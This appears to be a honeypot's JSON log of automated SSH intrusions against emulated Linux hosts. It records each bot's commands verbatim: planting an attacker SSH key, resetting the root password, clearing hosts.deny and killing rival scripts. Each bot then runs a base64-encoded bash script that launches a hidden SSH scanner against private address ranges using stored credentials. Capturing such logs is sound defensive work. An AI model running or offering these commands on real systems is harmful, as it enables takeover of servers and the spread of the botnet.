PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-24T03:17:15.755969+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-24T03:17:15.756724+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-24T03:17:16.446544+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-24T03:17:19.813360+00:00","kind":"output","latency_ms":3362,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC"},{"seq":32,"at":"2026-08-24T03:17:20.506727+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-24T03:17:21.072562+00:00","kind":"output","latency_ms":565,"data":"25G"},{"seq":34,"at":"2026-08-24T03:17:23.255705+00:00","kind":"input","latency_ms":null,"data":"echo \"root Redhat123\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-24T03:17:23.946596+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-24T03:17:24.463347+00:00","kind":"output","latency_ms":517,"data":""},{"seq":37,"at":"2026-08-24T03:17:26.510809+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-24T03:17:27.489263+00:00","kind":"output","latency_ms":976,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-24T03:17:28.181163+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-24T03:17:28.863399+00:00","kind":"output","latency_ms":681,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-24T03:17:29.553555+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T03:17:30.247621+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-24T03:17:30.859575+00:00","kind":"output","latency_ms":612,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-24T03:17:31.552221+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-24T03:17:32.095025+00:00","kind":"output","latency_ms":539,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-24T03:17:32.783687+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-24T03:17:33.447253+00:00","kind":"output","latency_ms":662,"data":""},{"seq":48,"at":"2026-08-24T03:17:41.662280+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-24T03:17:41.662895+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"Redhat123","method":"password","accepted":true,"tier":"other"}]} {"id":"4de63a5d-4df9-4aff-bcb2-ce12dde2b67a","name":"bashful-crimson-penguin","protocol":"ssh","channel_kind":"exec","src_ip":"190.60.43.27","src_port":53456,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":285,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T00:59:17.188346+00:00","ended_at":"2026-08-24T00:59:17.266471+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3445,"events":[{"seq":1,"at":"2026-08-24T00:58:50.851125+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T00:58:51.234125+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T00:58:54.352368+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T00:58:54.355708+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T00:58:54.634971+00:00","kind":"input","latency_ms":null,"data":"echo \"root:wW0VrtFthYZ9\"|chpasswd|bash"},{"seq":6,"at":"2026-08-24T00:58:54.914831+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-24T00:58:55.200146+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-24T00:58:55.202807+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-24T00:58:55.482101+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-24T00:58:56.516151+00:00","kind":"output","latency_ms":1034,"data":" total used free shared buff/cache available\nMem: 15888 3721 8210 64 3956 11689"},{"seq":11,"at":"2026-08-24T00:58:56.801263+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-24T00:58:57.378734+00:00","kind":"output","latency_ms":577,"data":"-rwxr-xr-x 1 root root 142K Jan 24 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-24T00:58:57.665428+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-24T00:58:57.667676+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T00:58:57.950211+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-24T00:58:57.951564+00:00","kind":"output","latency_ms":null,"data":" 00:58:57 up 3 days, 21:49, 0 user, load average: 0.07, 0.06, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-24T00:58:58.232695+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-24T00:58:58.234125+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-24T00:58:58.517268+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-24T00:58:58.519129+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-24T00:58:59.215923+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-24T00:58:59.217455+00:00","kind":"output","latency_ms":null,"data":"top - 00:58:59 up 3 days, 21:49, 0 user, load average: 0.07, 0.06, 0.06\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-24T00:58:59.500337+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-24T00:58:59.502055+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-24T00:58:59.781679+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-24T00:58:59.783195+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-24T00:59:00.065879+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-24T00:59:00.067435+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-24T00:59:00.349252+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-24T00:59:01.105052+00:00","kind":"output","latency_ms":756,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-24T00:59:01.389227+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-24T00:59:01.997526+00:00","kind":"output","latency_ms":609,"data":"24G"},{"seq":33,"at":"2026-08-24T00:59:03.379406+00:00","kind":"input","latency_ms":null,"data":"echo \"root 1qazxsW@\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-24T00:59:03.658433+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-24T00:59:04.087528+00:00","kind":"output","latency_ms":427,"data":""},{"seq":36,"at":"2026-08-24T00:59:04.700746+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-24T00:59:05.420444+00:00","kind":"output","latency_ms":719,"data":"root 1qazxsW@"},{"seq":38,"at":"2026-08-24T00:59:05.705927+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-24T00:59:06.154931+00:00","kind":"output","latency_ms":450,"data":"root 1qazxsW@"},{"seq":40,"at":"2026-08-24T00:59:06.441889+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-24T00:59:06.729967+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T00:59:07.338444+00:00","kind":"output","latency_ms":607,"data":"root 1qazxsW@"},{"seq":43,"at":"2026-08-24T00:59:07.627010+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-24T00:59:08.082167+00:00","kind":"output","latency_ms":459,"data":"root 1qazxsW@"},{"seq":45,"at":"2026-08-24T00:59:08.467143+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-24T00:59:09.106293+00:00","kind":"output","latency_ms":637,"data":""},{"seq":47,"at":"2026-08-24T00:59:17.190908+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-24T00:59:17.193707+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"1qazxsW@","method":"password","accepted":true,"tier":"other"}]} {"id":"ab1b937d-a056-4f39-9c0c-f216b9b615b6","name":"nameless-murky-dormouse","protocol":"ssh","channel_kind":"exec","src_ip":"163.7.3.26","src_port":58822,"username":"root","client_version":"SSH-2.0-libssh_0.12.0","auth_attempts":1,"automation":"bot","think_ms":763,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T21:19:15.453482+00:00","ended_at":"2026-08-23T21:19:15.691786+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3571,"events":[{"seq":1,"at":"2026-08-23T21:18:25.900096+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T21:18:26.673575+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T21:18:37.581072+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T21:18:37.584092+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T21:18:38.343456+00:00","kind":"input","latency_ms":null,"data":"echo \"root:iVehNGLDdW88\"|chpasswd|bash"},{"seq":6,"at":"2026-08-23T21:18:39.058134+00:00","kind":"output","latency_ms":715,"data":""},{"seq":7,"at":"2026-08-23T21:18:39.103217+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-23T21:18:39.865305+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-23T21:18:39.868331+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-23T21:18:40.632141+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-23T21:18:41.161701+00:00","kind":"output","latency_ms":535,"data":"15888 3436 12452 203 1368 10976"},{"seq":12,"at":"2026-08-23T21:18:41.929605+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-23T21:18:42.603239+00:00","kind":"output","latency_ms":674,"data":"-rwxr-xr-x 1 root root 148K Aug 20 03:10 /usr/bin/ls"},{"seq":14,"at":"2026-08-23T21:18:43.374232+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T21:18:43.378895+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-23T21:18:44.132241+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-23T21:18:44.136099+00:00","kind":"output","latency_ms":null,"data":" 21:18:44 up 3 days, 18:08, 0 user, load average: 0.19, 0.16, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-23T21:18:44.897414+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-23T21:18:44.900465+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-23T21:18:45.664902+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-23T21:18:45.676747+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-23T21:18:46.424113+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-23T21:18:46.429084+00:00","kind":"output","latency_ms":null,"data":"top - 21:18:46 up 3 days, 18:08, 0 user, load average: 0.19, 0.16, 0.2\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-23T21:18:47.182202+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-23T21:18:47.186320+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-23T21:18:47.948667+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-23T21:18:47.956420+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-23T21:18:48.705566+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-23T21:18:48.707530+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-23T21:18:49.469742+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-23T21:18:50.227392+00:00","kind":"output","latency_ms":757,"data":"Model name: AMD EPYC 7713 64-Core Processor\n\u09ae\u09a1\u09c7\u09b2 \u09a8\u09be\u09ae: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-23T21:18:50.990355+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-23T21:18:51.587118+00:00","kind":"output","latency_ms":596,"data":"24G"},{"seq":34,"at":"2026-08-23T21:18:57.014938+00:00","kind":"input","latency_ms":null,"data":"echo \"root Root123456!\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-23T21:18:57.776670+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-23T21:18:58.440561+00:00","kind":"output","latency_ms":662,"data":""},{"seq":37,"at":"2026-08-23T21:19:00.461787+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-23T21:19:00.941455+00:00","kind":"output","latency_ms":480,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-23T21:19:01.710595+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-23T21:19:02.491347+00:00","kind":"output","latency_ms":784,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-23T21:19:03.277038+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T21:19:04.040439+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-23T21:19:04.517353+00:00","kind":"output","latency_ms":478,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-23T21:19:05.281630+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-23T21:19:05.872521+00:00","kind":"output","latency_ms":591,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-23T21:19:06.635639+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-23T21:19:07.110795+00:00","kind":"output","latency_ms":475,"data":""},{"seq":48,"at":"2026-08-23T21:19:15.456695+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-23T21:19:15.457865+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"Root123456!","method":"password","accepted":true,"tier":"other"}]} {"id":"35cfb8eb-0bf7-4f3c-8e82-7bc92dacb0f0","name":"steady-cheerful-ibis","protocol":"ssh","channel_kind":"exec","src_ip":"87.106.63.76","src_port":35932,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":273,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T19:03:55.913807+00:00","ended_at":"2026-08-23T19:03:55.985138+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3961,"events":[{"seq":1,"at":"2026-08-23T19:03:28.986930+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T19:03:29.262068+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T19:03:32.820071+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T19:03:32.821398+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T19:03:33.091099+00:00","kind":"input","latency_ms":null,"data":"echo \"root:YJeXXRtXmcNg\"|chpasswd|bash"},{"seq":6,"at":"2026-08-23T19:03:33.362532+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 